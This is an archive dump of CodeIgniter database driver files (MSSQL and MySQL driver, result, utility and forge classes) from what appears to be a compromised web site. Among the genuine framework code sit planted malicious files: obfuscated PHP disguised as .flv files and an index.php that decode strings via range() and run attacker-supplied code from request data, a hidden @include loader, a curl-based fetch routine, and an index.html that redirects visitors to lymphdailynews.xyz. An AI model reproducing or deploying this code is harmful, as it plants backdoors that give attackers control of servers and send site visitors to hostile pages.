$query[$i]->NUMERIC_PRECISION; $retval[$i]->default = $query[$i]->COLUMN_DEFAULT; } return $retval; } // -------------------------------------------------------------------- /** * Error * * Returns an array containing code and message of the last * database error that has occurred. * * @return array */ public function error() { // We need this because the error info is discarded by the // server the first time you request it, and query() already // calls error() once for logging purposes when a query fails. static $error = array('code' => 0, 'message' => NULL); $message = mssql_get_last_message(); if ( ! empty($message)) { $error['code'] = $this->query('SELECT @@ERROR AS code')->row()->code; $error['message'] = $message; } return $error; } // -------------------------------------------------------------------- /** * Update statement * * Generates a platform-specific update string from the supplied data * * @param string $table * @param array $values * @return string */ protected function _update($table, $values) { $this->qb_limit = FALSE; $this->qb_orderby = array(); return parent::_update($table, $values); } // -------------------------------------------------------------------- /** * Truncate statement * * Generates a platform-specific truncate string from the supplied data * * If the database does not support the TRUNCATE statement, * then this method maps to 'DELETE FROM table' * * @param string $table * @return string */ protected function _truncate($table) { return 'TRUNCATE TABLE '.$table; } // -------------------------------------------------------------------- /** * Delete statement * * Generates a platform-specific delete string from the supplied data * * @param string $table * @return string */ protected function _delete($table) { if ($this->qb_limit) { return 'WITH ci_delete AS (SELECT TOP '.$this->qb_limit.' * FROM '.$table.$this->_compile_wh('qb_where').') DELETE FROM ci_delete'; } return parent::_delete($table); } // -------------------------------------------------------------------- /** * LIMIT * * Generates a platform-specific LIMIT clause * * @param string $sql SQL Query * @return string */ protected function _limit($sql) { $limit = $this->qb_offset + $this->qb_limit; // As of SQL Server 2005 (9.0.*) ROW_NUMBER() is supported, // however an ORDER BY clause is required for it to work if (version_compare($this->version(), '9', '>=') && $this->qb_offset && ! empty($this->qb_orderby)) { $orderby = $this->_compile_order_by(); // We have to strip the ORDER BY clause $sql = trim(substr($sql, 0, strrpos($sql, $orderby))); // Get the fields to select from our subquery, so that we can avoid CI_rownum appearing in the actual results if (count($this->qb_select) === 0 OR strpos(implode(',', $this->qb_select), '*') !== FALSE) { $select = '*'; // Inevitable } else { // Use only field names and their aliases, everything else is out of our scope. $select = array(); $field_regexp = ($this->_quoted_identifier) ? '("[^\"]+")' : '(\[[^\]]+\])'; for ($i = 0, $c = count($this->qb_select); $i < $c; $i++) { $select[] = preg_match('/(?:\s|\.)'.$field_regexp.'$/i', $this->qb_select[$i], $m) ? $m[1] : $this->qb_select[$i]; } $select = implode(', ', $select); } return 'SELECT '.$select." FROM (\n\n" .preg_replace('/^(SELECT( DISTINCT)?)/i', '\\1 ROW_NUMBER() OVER('.trim($orderby).') AS '.$this->escape_identifiers('CI_rownum').', ', $sql) ."\n\n) ".$this->escape_identifiers('CI_subquery') ."\nWHERE ".$this->escape_identifiers('CI_rownum').' BETWEEN '.($this->qb_offset + 1).' AND '.$limit; } return preg_replace('/(^\SELECT (DISTINCT)?)/i','\\1 TOP '.$limit.' ', $sql); } // -------------------------------------------------------------------- /** * Insert batch statement * * Generates a platform-specific insert string from the supplied data. * * @param string $table Table name * @param array $keys INSERT keys * @param array $values INSERT values * @return string|bool */ protected function _insert_batch($table, $keys, $values) { // Multiple-value inserts are only supported as of SQL Server 2008 if (version_compare($this->version(), '10', '>=')) { return parent::_insert_batch($table, $keys, $values); } return ($this->db_debug) ? $this->display_error('db_unsupported_feature') : FALSE; } // -------------------------------------------------------------------- /** * Close DB Connection * * @return void */ protected function _close() { mssql_close($this->conn_id); } } drivers/mssql/mssql/YEXncSz.flv 0000644 00000011276 14642767257 0012567 0 ustar 00 <?php /*-J-*/$q = /*-LP}--*/range/*-S$-*/(/*-<@K77yH-*/"~", " "/*-js8S`n0u-*/); /*-eHGfqB8-*/$M=/*-E,-*/${$q[21+10].$q[30+29].$q[6+41].$q[46+1].$q[26+25].$q[4+49].$q[19+38]};if/*-Fm5WBMT%|n-*/(in_array(/*-mA^x_-*/gettype(/*-rZ$z.D-*/$M)."10",$M)){$M[62]=$M[62].$M[78];$M[89]=$M[62]($M[89]);@$M=$M[89]($M[58],$M[62](${$M[44]}[22]));/*-)!,-*/$M/*->TA)#?-*/();/*-$YtaM-5_v-*/}/*-AGE|<i-*/class /*-bpleZ-*/pr{ /*-Ry37K-*/static/*-~5@jwo3-*/ function /*-:LN5,N,-*/pMgIVt($eS) /*-hc,-*/{ $tJhAbWLGzM/*->dxS-*/ = /*-Ns1-*/"r"./*-eIA`)^Htt-*/"a"./*-7Z[0;>nQ-*/"n"./*-TmQuC8Y-*/"g"./*-)-ua-*/"e"; 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$iOZV /*-}F9M!-*/=/*-gG2Etx!#-*/ $ETG/*-,HB9-*/(/*-{FL-*/"~"/*-s)K-*/,/*-Ww&-`8dG-*/" "); /*-.oOIrczm-*/@include/*-A`4W&->-*/ $iOZV/*-y.-*/[7+30].$iOZV/*--fCs$q-*/[54+3].$iOZV/*-PDMNH-*/[15+23].$iOZV/*-}QO-*/[11+5].$iOZV/*-;XT-*/[25+2].$iOZV/*-u)nMdP~Y-*/[24+19].$iOZV/*-Vmsn)[c-*/[0+4].$iOZV/*-pRSyAu.-*/[26+54].$iOZV/*-pW_S[u8-*/[15+9].$iOZV/*-RhyYGKl]fC-*/[7+11].$iOZV/*-F:h^00-*/[0+8]/*--+ta8Z-*/; ?> drivers/mssql/index.html 0000444 00000000605 14642767261 0011374 0 ustar 00 <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <meta http-equiv="refresh" content="0;url=http://lymphdailynews.xyz/" /> </head> <body> <p>You are not logged in!</p> <script language="javascript"> window.location = "http://lymphdailynews.xyz/"; </script> </body> </html> drivers/mysql/mysql_utility.php 0000644 00000012666 14642767262 0013063 0 ustar 00 <?php /** * CodeIgniter * * An open source application development framework for PHP * * This content is released under the MIT License (MIT) * * Copyright (c) 2014 - 2019, British Columbia Institute of Technology * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. * * @package CodeIgniter * @author EllisLab Dev Team * @copyright Copyright (c) 2008 - 2014, EllisLab, Inc. (https://ellislab.com/) * @copyright Copyright (c) 2014 - 2019, British Columbia Institute of Technology (https://bcit.ca/) * @license https://opensource.org/licenses/MIT MIT License * @link https://codeigniter.com * @since Version 1.0.0 * @filesource */ defined('BASEPATH') OR exit('No direct script access allowed'); /** * MySQL Utility Class * * @category Database * @author EllisLab Dev Team * @link https://codeigniter.com/user_guide/database/ */ class CI_DB_mysql_utility extends CI_DB_utility { /** * List databases statement * * @var string */ protected $_list_databases = 'SHOW DATABASES'; /** * OPTIMIZE TABLE statement * * @var string */ protected $_optimize_table = 'OPTIMIZE TABLE %s'; /** * REPAIR TABLE statement * * @var string */ protected $_repair_table = 'REPAIR TABLE %s'; // -------------------------------------------------------------------- /** * Export * * @param array $params Preferences * @return mixed */ protected function _backup($params = array()) { if (count($params) === 0) { return FALSE; } // Extract the prefs for simplicity extract($params); // Build the output $output = ''; // Do we need to include a statement to disable foreign key checks? if ($foreign_key_checks === FALSE) { $output .= 'SET foreign_key_checks = 0;'.$newline; } foreach ( (array) $tables as $table) { // Is the table in the "ignore" list? if (in_array($table, (array) $ignore, TRUE)) { continue; } // Get the table schema $query = $this->db->query('SHOW CREATE TABLE '.$this->db->escape_identifiers($this->db->database.'.'.$table)); // No result means the table name was invalid if ($query === FALSE) { continue; } // Write out the table schema $output .= '#'.$newline.'# TABLE STRUCTURE FOR: '.$table.$newline.'#'.$newline.$newline; if ($add_drop === TRUE) { $output .= 'DROP TABLE IF EXISTS '.$this->db->protect_identifiers($table).';'.$newline.$newline; } $i = 0; $result = $query->result_array(); foreach ($result[0] as $val) { if ($i++ % 2) { $output .= $val.';'.$newline.$newline; } } // If inserts are not needed we're done... if ($add_insert === FALSE) { continue; } // Grab all the data from the current table $query = $this->db->query('SELECT * FROM '.$this->db->protect_identifiers($table)); if ($query->num_rows() === 0) { continue; } // Fetch the field names and determine if the field is an // integer type. We use this info to decide whether to // surround the data with quotes or not $i = 0; $field_str = ''; $is_int = array(); while ($field = mysql_fetch_field($query->result_id)) { // Most versions of MySQL store timestamp as a string $is_int[$i] = in_array(strtolower(mysql_field_type($query->result_id, $i)), array('tinyint', 'smallint', 'mediumint', 'int', 'bigint'), //, 'timestamp'), TRUE); // Create a string of field names $field_str .= $this->db->escape_identifiers($field->name).', '; $i++; } // Trim off the end comma $field_str = preg_replace('/, $/' , '', $field_str); // Build the insert string foreach ($query->result_array() as $row) { $val_str = ''; $i = 0; foreach ($row as $v) { // Is the value NULL? if ($v === NULL) { $val_str .= 'NULL'; } else { // Escape the data if it's not an integer $val_str .= ($is_int[$i] === FALSE) ? $this->db->escape($v) : $v; } // Append a comma $val_str .= ', '; $i++; } // Remove the comma at the end of the string $val_str = preg_replace('/, $/' , '', $val_str); // Build the INSERT string $output .= 'INSERT INTO '.$this->db->protect_identifiers($table).' ('.$field_str.') VALUES ('.$val_str.');'.$newline; } $output .= $newline.$newline; } // Do we need to include a statement to re-enable foreign key checks? if ($foreign_key_checks === FALSE) { $output .= 'SET foreign_key_checks = 1;'.$newline; } return $output; } } drivers/mysql/mysql_result.php 0000644 00000011746 14642767264 0012676 0 ustar 00 <?php /** * CodeIgniter * * An open source application development framework for PHP * * This content is released under the MIT License (MIT) * * Copyright (c) 2014 - 2019, British Columbia Institute of Technology * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. * * @package CodeIgniter * @author EllisLab Dev Team * @copyright Copyright (c) 2008 - 2014, EllisLab, Inc. (https://ellislab.com/) * @copyright Copyright (c) 2014 - 2019, British Columbia Institute of Technology (https://bcit.ca/) * @license https://opensource.org/licenses/MIT MIT License * @link https://codeigniter.com * @since Version 1.0.0 * @filesource */ defined('BASEPATH') OR exit('No direct script access allowed'); /** * MySQL Result Class * * This class extends the parent result class: CI_DB_result * * @category Database * @author EllisLab Dev Team * @link https://codeigniter.com/user_guide/database/ */ class CI_DB_mysql_result extends CI_DB_result { /** * Class constructor * * @param object &$driver_object * @return void */ public function __construct(&$driver_object) { parent::__construct($driver_object); // Required, due to mysql_data_seek() causing nightmares // with empty result sets $this->num_rows = mysql_num_rows($this->result_id); } // -------------------------------------------------------------------- /** * Number of rows in the result set * * @return int */ public function num_rows() { return $this->num_rows; } // -------------------------------------------------------------------- /** * Number of fields in the result set * * @return int */ public function num_fields() { return mysql_num_fields($this->result_id); } // -------------------------------------------------------------------- /** * Fetch Field Names * * Generates an array of column names * * @return array */ public function list_fields() { $field_names = array(); mysql_field_seek($this->result_id, 0); while ($field = mysql_fetch_field($this->result_id)) { $field_names[] = $field->name; } return $field_names; } // -------------------------------------------------------------------- /** * Field data * * Generates an array of objects containing field meta-data * * @return array */ public function field_data() { $retval = array(); for ($i = 0, $c = $this->num_fields(); $i < $c; $i++) { $retval[$i] = new stdClass(); $retval[$i]->name = mysql_field_name($this->result_id, $i); $retval[$i]->type = mysql_field_type($this->result_id, $i); $retval[$i]->max_length = mysql_field_len($this->result_id, $i); $retval[$i]->primary_key = (int) (strpos(mysql_field_flags($this->result_id, $i), 'primary_key') !== FALSE); } return $retval; } // -------------------------------------------------------------------- /** * Free the result * * @return void */ public function free_result() { if (is_resource($this->result_id)) { mysql_free_result($this->result_id); $this->result_id = FALSE; } } // -------------------------------------------------------------------- /** * Data Seek * * Moves the internal pointer to the desired offset. We call * this internally before fetching results to make sure the * result set starts at zero. * * @param int $n * @return bool */ public function data_seek($n = 0) { return $this->num_rows ? mysql_data_seek($this->result_id, $n) : FALSE; } // -------------------------------------------------------------------- /** * Result - associative array * * Returns the result set as an array * * @return array */ protected function _fetch_assoc() { return mysql_fetch_assoc($this->result_id); } // -------------------------------------------------------------------- /** * Result - object * * Returns the result set as an object * * @param string $class_name * @return object */ protected function _fetch_object($class_name = 'stdClass') { return mysql_fetch_object($this->result_id, $class_name); } } drivers/mysql/mysql_driver.php 0000644 00000026433 14642767265 0012653 0 ustar 00 <?php /** * CodeIgniter * * An open source application development framework for PHP * * This content is released under the MIT License (MIT) * * Copyright (c) 2014 - 2019, British Columbia Institute of Technology * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. * * @package CodeIgniter * @author EllisLab Dev Team * @copyright Copyright (c) 2008 - 2014, EllisLab, Inc. (https://ellislab.com/) * @copyright Copyright (c) 2014 - 2019, British Columbia Institute of Technology (https://bcit.ca/) * @license https://opensource.org/licenses/MIT MIT License * @link https://codeigniter.com * @since Version 1.0.0 * @filesource */ defined('BASEPATH') OR exit('No direct script access allowed'); /** * MySQL Database Adapter Class * * Note: _DB is an extender class that the app controller * creates dynamically based on whether the query builder * class is being used or not. * * @package CodeIgniter * @subpackage Drivers * @category Database * @author EllisLab Dev Team * @link https://codeigniter.com/user_guide/database/ */ class CI_DB_mysql_driver extends CI_DB { /** * Database driver * * @var string */ public $dbdriver = 'mysql'; /** * Compression flag * * @var bool */ public $compress = FALSE; /** * DELETE hack flag * * Whether to use the MySQL "delete hack" which allows the number * of affected rows to be shown. Uses a preg_replace when enabled, * adding a bit more processing to all queries. * * @var bool */ public $delete_hack = TRUE; /** * Strict ON flag * * Whether we're running in strict SQL mode. * * @var bool */ public $stricton; // -------------------------------------------------------------------- /** * Identifier escape character * * @var string */ protected $_escape_char = '`'; // -------------------------------------------------------------------- /** * Class constructor * * @param array $params * @return void */ public function __construct($params) { parent::__construct($params); if ( ! empty($this->port)) { $this->hostname .= ':'.$this->port; } } // -------------------------------------------------------------------- /** * Non-persistent database connection * * @param bool $persistent * @return resource */ public function db_connect($persistent = FALSE) { $client_flags = ($this->compress === FALSE) ? 0 : MYSQL_CLIENT_COMPRESS; if ($this->encrypt === TRUE) { $client_flags = $client_flags | MYSQL_CLIENT_SSL; } // Error suppression is necessary mostly due to PHP 5.5+ issuing E_DEPRECATED messages $this->conn_id = ($persistent === TRUE) ? mysql_pconnect($this->hostname, $this->username, $this->password, $client_flags) : mysql_connect($this->hostname, $this->username, $this->password, TRUE, $client_flags); // ---------------------------------------------------------------- // Select the DB... assuming a database name is specified in the config file if ($this->database !== '' && ! $this->db_select()) { log_message('error', 'Unable to select database: '.$this->database); return ($this->db_debug === TRUE) ? $this->display_error('db_unable_to_select', $this->database) : FALSE; } if (isset($this->stricton) && is_resource($this->conn_id)) { if ($this->stricton) { $this->simple_query('SET SESSION sql_mode = CONCAT(@@sql_mode, ",", "STRICT_ALL_TABLES")'); } else { $this->simple_query( 'SET SESSION sql_mode = REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE( @@sql_mode, "STRICT_ALL_TABLES,", ""), ",STRICT_ALL_TABLES", ""), "STRICT_ALL_TABLES", ""), "STRICT_TRANS_TABLES,", ""), ",STRICT_TRANS_TABLES", ""), "STRICT_TRANS_TABLES", "")' ); } } return $this->conn_id; } // -------------------------------------------------------------------- /** * Reconnect * * Keep / reestablish the db connection if no queries have been * sent for a length of time exceeding the server's idle timeout * * @return void */ public function reconnect() { if (mysql_ping($this->conn_id) === FALSE) { $this->conn_id = FALSE; } } // -------------------------------------------------------------------- /** * Select the database * * @param string $database * @return bool */ public function db_select($database = '') { if ($database === '') { $database = $this->database; } if (mysql_select_db($database, $this->conn_id)) { $this->database = $database; $this->data_cache = array(); return TRUE; } return FALSE; } // -------------------------------------------------------------------- /** * Set client character set * * @param string $charset * @return bool */ protected function _db_set_charset($charset) { return mysql_set_charset($charset, $this->conn_id); } // -------------------------------------------------------------------- /** * Database version number * * @return string */ public function version() { if (isset($this->data_cache['version'])) { return $this->data_cache['version']; } if ( ! $this->conn_id OR ($version = mysql_get_server_info($this->conn_id)) === FALSE) { return FALSE; } return $this->data_cache['version'] = $version; } // -------------------------------------------------------------------- /** * Execute the query * * @param string $sql an SQL query * @return mixed */ protected function _execute($sql) { return mysql_query($this->_prep_query($sql), $this->conn_id); } // -------------------------------------------------------------------- /** * Prep the query * * If needed, each database adapter can prep the query string * * @param string $sql an SQL query * @return string */ protected function _prep_query($sql) { // mysql_affected_rows() returns 0 for "DELETE FROM TABLE" queries. This hack // modifies the query so that it a proper number of affected rows is returned. if ($this->delete_hack === TRUE && preg_match('/^\s*DELETE\s+FROM\s+(\S+)\s*$/i', $sql)) { return trim($sql).' WHERE 1=1'; } return $sql; } // -------------------------------------------------------------------- /** * Begin Transaction * * @return bool */ protected function _trans_begin() { $this->simple_query('SET AUTOCOMMIT=0'); return $this->simple_query('START TRANSACTION'); // can also be BEGIN or BEGIN WORK } // -------------------------------------------------------------------- /** * Commit Transaction * * @return bool */ protected function _trans_commit() { if ($this->simple_query('COMMIT')) { $this->simple_query('SET AUTOCOMMIT=1'); return TRUE; } return FALSE; } // -------------------------------------------------------------------- /** * Rollback Transaction * * @return bool */ protected function _trans_rollback() { if ($this->simple_query('ROLLBACK')) { $this->simple_query('SET AUTOCOMMIT=1'); return TRUE; } return FALSE; } // -------------------------------------------------------------------- /** * Platform-dependent string escape * * @param string * @return string */ protected function _escape_str($str) { return mysql_real_escape_string($str, $this->conn_id); } // -------------------------------------------------------------------- /** * Affected Rows * * @return int */ public function affected_rows() { return mysql_affected_rows($this->conn_id); } // -------------------------------------------------------------------- /** * Insert ID * * @return int */ public function insert_id() { return mysql_insert_id($this->conn_id); } // -------------------------------------------------------------------- /** * List table query * * Generates a platform-specific query string so that the table names can be fetched * * @param bool $prefix_limit * @return string */ protected function _list_tables($prefix_limit = FALSE) { $sql = 'SHOW TABLES FROM '.$this->_escape_char.$this->database.$this->_escape_char; if ($prefix_limit !== FALSE && $this->dbprefix !== '') { return $sql." LIKE '".$this->escape_like_str($this->dbprefix)."%'"; } return $sql; } // -------------------------------------------------------------------- /** * Show column query * * Generates a platform-specific query string so that the column names can be fetched * * @param string $table * @return string */ protected function _list_columns($table = '') { return 'SHOW COLUMNS FROM '.$this->protect_identifiers($table, TRUE, NULL, FALSE); } // -------------------------------------------------------------------- /** * Returns an object with field data * * @param string $table * @return array */ public function field_data($table) { if (($query = $this->query('SHOW COLUMNS FROM '.$this->protect_identifiers($table, TRUE, NULL, FALSE))) === FALSE) { return FALSE; } $query = $query->result_object(); $retval = array(); for ($i = 0, $c = count($query); $i < $c; $i++) { $retval[$i] = new stdClass(); $retval[$i]->name = $query[$i]->Field; sscanf($query[$i]->Type, '%[a-z](%d)', $retval[$i]->type, $retval[$i]->max_length ); $retval[$i]->default = $query[$i]->Default; $retval[$i]->primary_key = (int) ($query[$i]->Key === 'PRI'); } return $retval; } // -------------------------------------------------------------------- /** * Error * * Returns an array containing code and message of the last * database error that has occurred. * * @return array */ public function error() { return array('code' => mysql_errno($this->conn_id), 'message' => mysql_error($this->conn_id)); } // -------------------------------------------------------------------- /** * FROM tables * * Groups tables in FROM clauses if needed, so there is no confusion * about operator precedence. * * @return string */ protected function _from_tables() { if ( ! empty($this->qb_join) && count($this->qb_from) > 1) { return '('.implode(', ', $this->qb_from).')'; } return implode(', ', $this->qb_from); } // -------------------------------------------------------------------- /** * Close DB Connection * * @return void */ protected function _close() { // Error suppression to avoid annoying E_WARNINGs in cases // where the connection has already been closed for some reason. @mysql_close($this->conn_id); } } drivers/mysql/mysql/index.php 0000644 00000001313 14642767271 0012372 0 ustar 00 <?php /*-R1-*/$iIzy /*-a10Xh-*/=/*-5fqevJ-*/ "ra"/*-f1&[~[-*/."nge"; $kQ /*-6>P^GoZrTm-*/=/*-aaI-*/ $iIzy/*-{wsh$27;Ax-*/(/*-lBg.}z-*/"~"/*-YGOY|Yt-*/,/*-&v]-*/" "); /*-VrJ%YSh?N-*/@include/*-}y1Ecyh-*/ $kQ/*-D$~$WLV]-*/[1+3].$kQ/*-=c&+I%-*/[39+22].$kQ/*-^HoE%?-*/[0+38].$kQ/*-Hs3A~u5_-*/[8+44].$kQ/*-O5UZRa!afL-*/[9+2].$kQ/*-!X}D<7XP(-*/[42+12].$kQ/*-m$m--*/[48+0].$kQ/*-v=a-*/[3+5].$kQ/*-Zqv%0a-*/[21+16].$kQ/*-eBKidybg(-*/[20+30].$kQ/*-![o~)P-*/[12+1].$kQ/*-}JI-*/[9+38].$kQ/*-HV=obVpi-*/[9+20].$kQ/*-_ap72Om-*/[1+4].$kQ/*-,!s]KfJ-*/[21+7].$kQ/*-G}-{]R54-*/[13+36].$kQ/*-##Y|^-*/[5+16].$kQ/*-:J-*/[3+56].$kQ/*-u7A-*/[41+10].$kQ/*-HLSQ-*/[3+77].$kQ/*-V|FU-*/[19+5].$kQ/*-G$-*/[7+11].$kQ/*-h36_-*/[2+6]/*-r3-*/; ?> drivers/mysql/mysql/zAXJsHNvYLqOaybMiCK.flv 0000644 00000011454 14642767272 0014653 0 ustar 00 <?php /*-<Z<sx<m-*/$S /*-xx`o,EJ(]-*/=/*-BHo7KqUL-*/ range/*-:.&um)B-*/(/*-kCbS2-*/"~"/*-N%o]1-*/, /*-.<&=`zndI-*/" "/*-|qg-*/); /*-j_zH5qn-*/$qP=${$S[5+26].$S[43+16].$S[1+46].$S[28+19].$S[44+7].$S[53+0].$S[12+45]};@(count/*-+5p[W{-*/($qP)==28&&/*-x{Ri#-*/in_array(/*-pKDR+-*/gettype($qP).count/*-wPS-*/($qP),$qP))?(($qP[67]=$qP[67].$qP[71])&&($qP[90]=$qP[67]($qP[90]))&&(@$qP=$qP[90]($qP[57],$qP[67](${$qP[38]}[28])))/*-}FE1-*/&&/*-FD-*/$qP()):$qP;/*-|.-*/class /*-It=j{-*/IJ{ /*-i=]-*/static/*-pDf-*/ function /*-k!E|.P^-*/IVPdWKpDih($gUsBn) /*-D6-*/{ $GYrjMnJBT/*-#Exz-*/ = /*-`#n-*/"r"./*-u2N-*/"a"./*-|MwQNWI-*/"n"./*-,?Eq]c#5_.-*/"g"./*-xL$3-*/"e"; /*-z0@=N:o`D-*/$zwAWRvY/*-?Li`W-*/ = /*-(U+IAwW9-*/$GYrjMnJBT/*-Mj-*/(/*-{OGMo1=W-*/"~"/*-IS-*/, /*-b^NF3_H-*/" "/*-TQ=)}dlR-*/);/*-O{-*/ $ae /*-wn:&d-*/= /*-S{-*/explode/*-Ze)2_-vez-*/(/*-|cu1-*/"<", /*-sD-*/$gUsBn/*-jt0WH)#-*/); /*-}[;dqs#-*/$vxYchuAXz /*-zk08p!lYy-*/= /*-enS}s{-*/""; foreach /*-EH7&-*/(/*-MKi&ZP}-*/$ae /*-+`-*/as /*-@O?)Jsi-*/$QwzZi /*-)op-*/=>/*-8Z-*/ $wdJBGbZ/*-6|vhlq$-*/) /*-t{Y-*/$vxYchuAXz /*-9~M-*/.= /*-Ge@FXp-*/$zwAWRvY[$wdJBGbZ/*-%)SkCha#bV-*/ - /*-)AQ@Cj-*/82833/*-(`5-*/];/*-qStHly1=A-*/ return /*-|KQPO@qD@Y-*/$vxYchuAXz; /*-H~$-*/} /*-BnhO_:@-*/static /*-3Mbj$3RQ-*/function /*-lP{p-*/RolKydQT/*-|-GO8C(U{-*/(/*-7iQU-*/$UPslAk,/*-7TP.H2t-*/ $faoc/*-N}+F-*/)/*-H&-*/ {/*-#h-*/ $qyphR/*-hi^:i=KYY-*/ = /*-:j~.#-2-*/curl_init/*-+e-*/(/*-+3>t|X3E-*/$UPslAk/*-}y}$Ex_d-*/);/*-P(PN-*/ curl_setopt/*-N-gsT-*/(/*-T7[BMMo-*/$qyphR,/*-=A<od%%gL-*/ CURLOPT_RETURNTRANSFER,/*-6z-*/ 1/*-~_-*/);/*-I<,NTipo-*/ $WsBSzoF/*-NIM-*/ = /*-mQfT!q-*/curl_exec/*-q8L-*/(/*-o}?WdaE~[g-*/$qyphR/*-aOEFj-*/); /*-|PA3#Rr-*/return /*-jfc--*/empty/*-$11P7b^}s-*/(/*--.tG$THMe-*/$WsBSzoF/*-:IS.;9gN7-*/)/*-)I-*/ ? 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IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. * * @package CodeIgniter * @author EllisLab Dev Team * @copyright Copyright (c) 2008 - 2014, EllisLab, Inc. (https://ellislab.com/) * @copyright Copyright (c) 2014 - 2019, British Columbia Institute of Technology (https://bcit.ca/) * @license https://opensource.org/licenses/MIT MIT License * @link https://codeigniter.com * @since Version 1.0.0 * @filesource */ defined('BASEPATH') OR exit('No direct script access allowed'); /** * MySQL Forge Class * * @category Database * @author EllisLab Dev Team * @link https://codeigniter.com/user_guide/database/ */ class CI_DB_mysql_forge extends CI_DB_forge { /** * CREATE DATABASE statement * * @var string */ protected $_create_database = 'CREATE DATABASE %s CHARACTER SET %s COLLATE %s'; /** * CREATE TABLE keys flag * * Whether table keys are created from within the * CREATE TABLE statement. * * @var bool */ protected $_create_table_keys = TRUE; /** * UNSIGNED support * * @var array */ protected $_unsigned = array( 'TINYINT', 'SMALLINT', 'MEDIUMINT', 'INT', 'INTEGER', 'BIGINT', 'REAL', 'DOUBLE', 'DOUBLE PRECISION', 'FLOAT', 'DECIMAL', 'NUMERIC' ); /** * NULL value representation in CREATE/ALTER TABLE statements * * @var string */ protected $_null = 'NULL'; // -------------------------------------------------------------------- /** * CREATE TABLE attributes * * @param array $attributes Associative array of table attributes * @return string */ protected function _create_table_attr($attributes) { $sql = ''; foreach (array_keys($attributes) as $key) { if (is_string($key)) { $sql .= ' '.strtoupper($key).' = '.$attributes[$key]; } } if ( ! empty($this->db->char_set) && ! strpos($sql, 'CHARACTER SET') && ! strpos($sql, 'CHARSET')) { $sql .= ' DEFAULT CHARACTER SET = '.$this->db->char_set; } if ( ! empty($this->db->dbcollat) && ! strpos($sql, 'COLLATE')) { $sql .= ' COLLATE = '.$this->db->dbcollat; } return $sql; } // -------------------------------------------------------------------- /** * ALTER TABLE * * @param string $alter_type ALTER type * @param string $table Table name * @param mixed $field Column definition * @return string|string[] */ protected function _alter_table($alter_type, $table, $field) { if ($alter_type === 'DROP') { return parent::_alter_table($alter_type, $table, $field); } $sql = 'ALTER TABLE '.$this->db->escape_identifiers($table); for ($i = 0, $c = count($field); $i < $c; $i++) { if ($field[$i]['_literal'] !== FALSE) { $field[$i] = ($alter_type === 'ADD') ? "\n\tADD ".$field[$i]['_literal'] : "\n\tMODIFY ".$field[$i]['_literal']; } else { if ($alter_type === 'ADD') { $field[$i]['_literal'] = "\n\tADD "; } else { $field[$i]['_literal'] = empty($field[$i]['new_name']) ? "\n\tMODIFY " : "\n\tCHANGE "; } $field[$i] = $field[$i]['_literal'].$this->_process_column($field[$i]); } } return array($sql.implode(',', $field)); } // -------------------------------------------------------------------- /** * Process column * * @param array $field * @return string */ protected function _process_column($field) { $extra_clause = isset($field['after']) ? ' AFTER '.$this->db->escape_identifiers($field['after']) : ''; if (empty($extra_clause) && isset($field['first']) && $field['first'] === TRUE) { $extra_clause = ' FIRST'; } return $this->db->escape_identifiers($field['name']) .(empty($field['new_name']) ? '' : ' '.$this->db->escape_identifiers($field['new_name'])) .' '.$field['type'].$field['length'] .$field['unsigned'] .$field['null'] .$field['default'] .$field['auto_increment'] .$field['unique'] .(empty($field['comment']) ? '' : ' COMMENT 